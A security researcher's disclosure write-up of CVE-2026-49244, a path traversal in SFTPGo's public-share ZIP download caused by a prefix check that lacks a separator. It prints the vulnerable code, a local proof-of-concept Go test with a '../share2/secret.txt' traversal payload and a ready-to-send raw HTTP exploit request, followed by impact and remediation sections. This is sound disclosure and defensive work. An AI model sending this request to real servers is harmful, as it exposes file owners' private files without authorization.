July 9, 2026
When a Prefix Looks Like a Boundary: A Public-Share Path Traversal in SFTPGo (CVE-2026–49244)
When a Prefix Looks Like a Boundary: A Public-Share Path Traversal in SFTPGo (CVE-2026–49244)

By Christopher Linke
9 min read
This is not a remote code execution bug. It is not a "point it at a share and own the server" situation. The vulnerability I found in SFTPGo is narrower than that, and that scope matters.
SFTPGo is a widely deployed file-transfer server: SFTP, FTP/S, WebDAV, and an HTTP web client, sitting in front of local disk and a long list of cloud backends. One of its features is shares — a user can publish a directory as a browsable link so other people can list and download files without an account. If that share is browsable and passwordless, anyone who knows the URL can walk it in a browser and pull down files.
The bug is in the endpoint that lets you download several files from a browsable share as a single ZIP. The share owner draws a boundary around one directory. A requester who knows the share URL can step just outside that boundary and pull back a sibling directory's files — as long as the sibling's name starts with the same characters as the shared directory.
In practical terms: a share rooted at share/ can be used to read share2/secret.txt.
The impact depends on layout. If the share sits in an isolated directory with nothing prefix-adjacent to it, the blast radius is small. If the share lives next to sibling directories whose names begin with the shared directory's name — share and share-backups, data and data2, reports and reports-internal — and those siblings are reachable in the same user's file context, this turns into an unauthorized read across the boundary the owner thought they had drawn.
This was assigned CVE-2026–49244 (GHSA-h64p-8h4r-6gfh), rated Moderate, and fixed in SFTPGo v2.7.3.
The issue affects the public browsable-share partial-ZIP flow. I confirmed it against:
v2.7.1(131234866cbfd2a05d0b35545eca6af032b69d88)- and by inspection on
origin/mainat6a662f015c957fb2f5f51357f5d411aca6da7d9c
The official advisory scopes the vulnerable range to >= 2.2.0 <= 2.7.1.
The root cause is simple: the final containment check that is supposed to keep ZIP entries inside the shared directory is a raw string-prefix comparison, not a directory-boundary check. strings.HasPrefix("/share2/secret.txt", "/share") returns true, so the file is packed and returned.
The Part That Made Me Stop Scrolling
I started this review the way I usually do: looking for the places where SFTPGo takes a user-controlled string and turns it into a filesystem path. Shares are an obvious candidate. They are, by design, a boundary — "you may see this directory and nothing else" — and boundaries drawn in code are exactly where I like to slow down.
The public web client exposes a partial-download route for browsable shares:
POST /web/client/pubshares/<share-id>/partial?path=%2FPOST /web/client/pubshares/<share-id>/partial?path=%2FTwo different pieces of user input feed this handler. There is the path query parameter — where in the share you are browsing — and there is a files form field, a JSON array naming which entries you want zipped up.
The path parameter is validated carefully. The files array is where I stopped scrolling.
The handler in internal/httpd/webclient.go takes the files field, unmarshals it, and hands it straight to renderCompressedFiles:
968 files := r.Form.Get("files")
969 var filesList []string
970 err = json.Unmarshal(util.StringToBytes(files), &filesList)
971 if err != nil {
972 s.renderClientBadRequestPage(w, r, err)
973 return
974 }
975
976 dataprovider.UpdateShareLastUse(&share, 1) //nolint:errcheck
977 w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=\"%s\"",
978 getCompressedFileName(fmt.Sprintf("share-%s", share.Name), filesList)))
979 renderCompressedFiles(w, connection, name, filesList, &share)968 files := r.Form.Get("files")
969 var filesList []string
970 err = json.Unmarshal(util.StringToBytes(files), &filesList)
971 if err != nil {
972 s.renderClientBadRequestPage(w, r, err)
973 return
974 }
975
976 dataprovider.UpdateShareLastUse(&share, 1) //nolint:errcheck
977 w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=\"%s\"",
978 getCompressedFileName(fmt.Sprintf("share-%s", share.Name), filesList)))
979 renderCompressedFiles(w, connection, name, filesList, &share)Notice what is not here. The path parameter went through a validation function on the way in. The files array did not. It is unmarshaled and forwarded. Whatever containment happens now has to happen downstream, per entry.
The reason that caught my eye is that SFTPGo already knows how to do this correctly a few lines away.
Two Checks, Only One of Them Right
The browse path parameter is validated by getBrowsableSharedPath in internal/httpd/api_shares.go, and it does the boundary check the right way:
588 func getBrowsableSharedPath(shareBasePath string, r *http.Request) (string, error) {
589 name := util.CleanPath(path.Join(shareBasePath, r.URL.Query().Get("path")))
590 if shareBasePath == "/" {
591 return name, nil
592 }
593 if name != shareBasePath && !strings.HasPrefix(name, shareBasePath+"/") {
594 return "", util.NewI18nError(
595 util.NewValidationError(fmt.Sprintf("Invalid path %q", r.URL.Query().Get("path"))),
596 util.I18nErrorPathInvalid,
597 )
598 }
599 return name, nil
600 }588 func getBrowsableSharedPath(shareBasePath string, r *http.Request) (string, error) {
589 name := util.CleanPath(path.Join(shareBasePath, r.URL.Query().Get("path")))
590 if shareBasePath == "/" {
591 return name, nil
592 }
593 if name != shareBasePath && !strings.HasPrefix(name, shareBasePath+"/") {
594 return "", util.NewI18nError(
595 util.NewValidationError(fmt.Sprintf("Invalid path %q", r.URL.Query().Get("path"))),
596 util.I18nErrorPathInvalid,
597 )
598 }
599 return name, nil
600 }Look at line 593. It accepts a path only if it is exactly the share base, or if it begins with the share base followed by a separator (shareBasePath + "/"). That trailing slash is the whole game. It is what makes /share2 fail against a base of /share: /share2 is not equal to /share, and it does not start with /share/. This is a directory-boundary check, and it is correct.
The upstream test suite even encodes the intent. There is a test asserting that a partial download with path=%2F.. must be rejected with 400 Bad Request:
16178 form := make(url.Values)
16179 form.Set("files", `[]`)
16180 req, err = http.NewRequest(http.MethodPost, path.Join(webClientPubSharesPath, objectID, "partial?path=%2F.."),
16181 bytes.NewBuffer([]byte(form.Encode())))
…
16185 rr = executeRequest(req)
16186 checkResponseCode(t, http.StatusBadRequest, rr)
16187 assert.Contains(t, rr.Body.String(), util.I18nErrorPathInvalid)16178 form := make(url.Values)
16179 form.Set("files", `[]`)
16180 req, err = http.NewRequest(http.MethodPost, path.Join(webClientPubSharesPath, objectID, "partial?path=%2F.."),
16181 bytes.NewBuffer([]byte(form.Encode())))
…
16185 rr = executeRequest(req)
16186 checkResponseCode(t, http.StatusBadRequest, rr)
16187 assert.Contains(t, rr.Body.String(), util.I18nErrorPathInvalid)So the project's own position is that traversal out of a share root is not allowed. The path parameter honors that. The files array is the seam where it comes apart.
The Vulnerable Flow
renderCompressedFiles walks the client-supplied files list. For each entry it joins the name onto the base directory, cleans it, and hands it to addZipEntry:
401 for _, file := range files {
402 fullPath := util.CleanPath(path.Join(baseDir, file))
403 if err := addZipEntry(wr, conn, fullPath, baseDir, nil, 0); err != nil {
…
408 }
409 }401 for _, file := range files {
402 fullPath := util.CleanPath(path.Join(baseDir, file))
403 if err := addZipEntry(wr, conn, fullPath, baseDir, nil, 0); err != nil {
…
408 }
409 }path.Join(baseDir, file) with file set to ../share2/secret.txt and baseDir of /share resolves — after cleaning — to /share2/secret.txt. The .. is real, and it is applied. Nothing here re-checks that the joined result is still under share.
The only containment gate left is inside addZipEntry, which computes the entry's name via getZipEntryName:
419 func addZipEntry(wr *zip.Writer, conn *Connection, entryPath, baseDir string, info os.FileInfo, recursion int) error {
…
426 if info == nil {
427 info, err = conn.Stat(entryPath, 1)
…
432 }
433 entryName, err := getZipEntryName(entryPath, baseDir)
434 if err != nil {
435 conn.Log(logger.LevelError, "unable to get zip entry name: %v", err)
436 return err
437 }419 func addZipEntry(wr *zip.Writer, conn *Connection, entryPath, baseDir string, info os.FileInfo, recursion int) error {
…
426 if info == nil {
427 info, err = conn.Stat(entryPath, 1)
…
432 }
433 entryName, err := getZipEntryName(entryPath, baseDir)
434 if err != nil {
435 conn.Log(logger.LevelError, "unable to get zip entry name: %v", err)
436 return err
437 }And here is the gate itself:
501 func getZipEntryName(entryPath, baseDir string) (string, error) {
502 if !strings.HasPrefix(entryPath, baseDir) {
503 return "", fmt.Errorf("entry path %q is outside base dir %q", entryPath, baseDir)
504 }
505 entryPath = strings.TrimPrefix(entryPath, baseDir)
506 return strings.TrimPrefix(entryPath, "/"), nil
507 }501 func getZipEntryName(entryPath, baseDir string) (string, error) {
502 if !strings.HasPrefix(entryPath, baseDir) {
503 return "", fmt.Errorf("entry path %q is outside base dir %q", entryPath, baseDir)
504 }
505 entryPath = strings.TrimPrefix(entryPath, baseDir)
506 return strings.TrimPrefix(entryPath, "/"), nil
507 }That is the bug.
strings.HasPrefix(entryPath, baseDir) is a byte comparison. It has no concept of a path separator. With baseDir = "/share" and entryPath = "/share2/secret.txt", the prefix test passes, because /share2/… literally begins with the six characters /share. The function then trims that raw prefix off the front, and what is left over is 2/secret.txt.
That is why the leaked file lands in the ZIP under the name 2/secret.txt — it is not a rename, it is the fingerprint of a prefix trim where a boundary check should have been. The stray 2 is the first character past the base directory name that the correct shareBasePath + "/" check would have caught.
Once the name is accepted, addZipEntry continues on to addFileToZipEntry, opens the file through the connection, and copies its contents into the archive:
480 func addFileToZipEntry(wr *zip.Writer, conn *Connection, entryPath, entryName string, info os.FileInfo) error {
481 reader, err := conn.getFileReader(entryPath, 0, http.MethodGet)
…
497 _, err = io.Copy(f, reader)
498 return err
499 }480 func addFileToZipEntry(wr *zip.Writer, conn *Connection, entryPath, entryName string, info os.FileInfo) error {
481 reader, err := conn.getFileReader(entryPath, 0, http.MethodGet)
…
497 _, err = io.Copy(f, reader)
498 return err
499 }There is no second boundary check between "name accepted" and "bytes read." The prefix test in getZipEntryName is the entire trust boundary, and it is the wrong kind of test.
Building the Local PoC
I wanted the reproduction to be local-only and boring. No public infrastructure, no real shares, no data I did not create in the test itself.
SFTPGo already ships an HTTP integration test harness, so I wrote the PoC as a single Go test that drives the real routes end to end. It does four things:
- Creates a user and, inside that user's home, two sibling directories:
share/andshare2/. - Writes an in-bounds file (
share/inside.txt) and an out-of-bounds file (share2/secret.txt) with a known marker. - Creates a read-scoped share whose only path is
share. - Sends the partial-download request with
filesset to["../share2/secret.txt"]and inspects the returned ZIP.
The interesting lines are the share definition and the malicious request:
share := dataprovider.Share{
Name: "prefix overlap share",
Scope: dataprovider.ShareScopeRead,
Paths: []string{"share"},
MaxTokens: 0,
}share := dataprovider.Share{
Name: "prefix overlap share",
Scope: dataprovider.ShareScopeRead,
Paths: []string{"share"},
MaxTokens: 0,
}form := make(url.Values)
form.Set("files", `["../share2/secret.txt"]`)
req, err = http.NewRequest(
http.MethodPost,
path.Join(webClientPubSharesPath, objectID, "partial?path=%2F"),
bytes.NewBufferString(form.Encode()),
)form := make(url.Values)
form.Set("files", `["../share2/secret.txt"]`)
req, err = http.NewRequest(
http.MethodPost,
path.Join(webClientPubSharesPath, objectID, "partial?path=%2F"),
bytes.NewBufferString(form.Encode()),
)The share is bounded to share. The request browses path=/ (the share root) and then asks for ../share2/secret.txt in the files array. If the boundary held, that entry would be rejected the same way path=%2F.. is. Instead, the assertions that pass are the ones that should not:
require.Len(t, zipReader.File, 1)
require.Equal(t, "2/secret.txt", zipReader.File[0].Name)
…
require.Equal(t, secretContents, got)require.Len(t, zipReader.File, 1)
require.Equal(t, "2/secret.txt", zipReader.File[0].Name)
…
require.Equal(t, secretContents, got)A ZIP with one entry, named 2/secret.txt, containing the sibling file's bytes.
The equivalent request against a running server, once you know a passwordless browsable share URL, is just:
POST /web/client/pubshares/<share-id>/partial?path=%2F HTTP/1.1
Content-Type: application/x-www-form-urlencoded
files=%5B%22..%2Fshare2%2Fsecret.txt%22%5DPOST /web/client/pubshares/<share-id>/partial?path=%2F HTTP/1.1
Content-Type: application/x-www-form-urlencoded
files=%5B%22..%2Fshare2%2Fsecret.txt%22%5DNo account. No session. If the share has a password, you additionally need that — but nothing more.
Reproducing It
The upstream test package bootstraps a helper binary before it will run, so the first go test failed on setup, not on the test. Building the fixture cleared it:
$ cd <sftpgo-src>/tests/eventsearcher
$ <GO> build -o eventsearcher .$ cd <sftpgo-src>/tests/eventsearcher
$ <GO> build -o eventsearcher .Then I dropped the PoC into the internal/httpd package and ran only my test:
$ cd <sftpgo-src>
$ <GO> test ./internal/httpd -run TestBrowsableSharePartialDownloadEscapesBaseDirOnPrefixOverlap -count=1 -v
=== RUN TestBrowsableSharePartialDownloadEscapesBaseDirOnPrefixOverlap
— — PASS: TestBrowsableSharePartialDownloadEscapesBaseDirOnPrefixOverlap (0.14s)
PASS
ok github.com/drakkan/sftpgo/v2/internal/httpd 0.647s$ cd <sftpgo-src>
$ <GO> test ./internal/httpd -run TestBrowsableSharePartialDownloadEscapesBaseDirOnPrefixOverlap -count=1 -v
=== RUN TestBrowsableSharePartialDownloadEscapesBaseDirOnPrefixOverlap
— — PASS: TestBrowsableSharePartialDownloadEscapesBaseDirOnPrefixOverlap (0.14s)
PASS
ok github.com/drakkan/sftpgo/v2/internal/httpd 0.647sA passing test here is the finding. It means the real handler, reached through the real route, returned a file the share was never supposed to expose.
At that point I had both halves I wanted: source-level confirmation of the wrong check, and a dynamic run showing an out-of-share file coming back in the response.
How Far Back Does It Go?
getZipEntryName and the multi-file ZIP feature it serves are not new. Blame puts the prefix logic here:
$ git blame -L 501,506 — internal/httpd/api_utils.go
f19691250 (Nicola Murino 2022–09–19) func getZipEntryName(entryPath, baseDir string) (string, error) {
f19691250 (Nicola Murino 2022–09–19) if !strings.HasPrefix(entryPath, baseDir) {
f19691250 (Nicola Murino 2022–09–19) return "", fmt.Errorf("entry path %q is outside base dir %q", entryPath, baseDir)
f19691250 (Nicola Murino 2022–09–19) }
423d8306b (Nicola Murino 2021–05–30) entryPath = strings.TrimPrefix(entryPath, baseDir)
f19691250 (Nicola Murino 2022–09–19) return strings.TrimPrefix(entryPath, "/"), nil$ git blame -L 501,506 — internal/httpd/api_utils.go
f19691250 (Nicola Murino 2022–09–19) func getZipEntryName(entryPath, baseDir string) (string, error) {
f19691250 (Nicola Murino 2022–09–19) if !strings.HasPrefix(entryPath, baseDir) {
f19691250 (Nicola Murino 2022–09–19) return "", fmt.Errorf("entry path %q is outside base dir %q", entryPath, baseDir)
f19691250 (Nicola Murino 2022–09–19) }
423d8306b (Nicola Murino 2021–05–30) entryPath = strings.TrimPrefix(entryPath, baseDir)
f19691250 (Nicola Murino 2022–09–19) return strings.TrimPrefix(entryPath, "/"), nilFollowing the feature that introduced downloadable multi-file ZIPs points at commit 423d8306 ("webclient: allow to download multiple files as zip"), and the first tag containing it is v2.1.0:
$ git log — follow — oneline -S 'func getZipEntryName' — internal/httpd/api_utils.go
423d8306 webclient: allow to download multiple files as zip
$ git tag — contains 423d8306 | head -n 1
v2.1.0$ git log — follow — oneline -S 'func getZipEntryName' — internal/httpd/api_utils.go
423d8306 webclient: allow to download multiple files as zip
$ git tag — contains 423d8306 | head -n 1
v2.1.0I flagged the code-history range as an inference. The maintainers ultimately scoped the CVE to >= 2.2.0 <= 2.7.1, which is the range I would trust for advisory purposes — the point is that this is long-lived compatibility code, not a recent regression.
Impact
My assessment, which matches the assigned CVE:
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal")
CVSS v3.1: 5.9
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:NCWE-22: Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal")
CVSS v3.1: 5.9
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:NThe score is deliberately not dramatic. It captures a real confidentiality loss — files leaving the boundary the owner set — but with meaningful conditions attached. The AC:H (high attack complexity) is honest: the attacker does not get to read arbitrary paths. The target must be prefix-overlapping with the shared directory's name, and it must be reachable inside the same user's file context.
The attacker needs a specific shape:
- a browsable public share exists, and the requester knows its URL (plus the password, if set)
- a sibling path exists whose canonical name begins with the shared directory's name —
shareandshare2,dataanddata-old,reportsandreports2 - that sibling is readable in the share owner's file context
Who should care most:
- deployments that publish shares out of directories sitting next to prefix-adjacent siblings (backups, exports, versioned copies)
- multi-tenant or team setups where one user's home holds several similarly named directories and only one is meant to be shared
- anyone treating a browsable public share as a hard confidentiality boundary
Who is probably not affected:
- shares rooted at an isolated directory with no prefix-overlapping siblings
- shares whose sibling directories are not readable in the owner's context
- write-only shares, and non-browsable share types
- anyone already on v2.7.3 or later
The most important boundary here is the directory boundary — and the lesson is that a prefix is not one. /share and /share2 share five characters and nothing else. A string that starts with your directory's name has not, by that fact, agreed to stay inside your directory.
Remediation
The fix in v2.7.3 is the right one: replace the raw prefix comparison with a directory-boundary–aware check — the same shape SFTPGo already used for the browse path parameter a few functions over.
Concretely, the options are:
- require the canonical entry path to equal the base or to begin with
base + "/"(separator-aware, exactly likegetBrowsableSharedPath) - or compute a relative path from the share root and reject any result that is absolute or begins with
.. - and add a regression test for the prefix-overlap case specifically (
sharevsshare2), because a naive..-only test will not catch it
For operators who cannot upgrade immediately, the practical guidance:
- upgrade to v2.7.3 or later — this is the actual fix
- root browsable shares in dedicated directories with no prefix-overlapping siblings in the same user context
- avoid naming sibling directories as extensions of a shared directory's name (
share,share2,share-backup) - treat a public share as "everything reachable from this user with a matching name prefix could be exposed" until patched, and place shares accordingly
Researcher's Note
This bug is a good reminder that the dangerous check is often the last one. SFTPGo validated the browse path correctly and even shipped a test asserting the boundary held. The escape did not live in that check. It lived one layer down, in a helper whose real job was to compute a ZIP entry name — and which, almost incidentally, had become the final gate keeping files inside the share.
The tools were not exotic: rg, git blame, source reading, and a single local Go test against the project's own harness. The useful move was noticing that the same codebase contained both a correct boundary check and a wrong one, sitting a few functions apart, and asking one question at each path join:
"Does starting with these bytes actually mean staying inside this directory?"
In this case, it did not.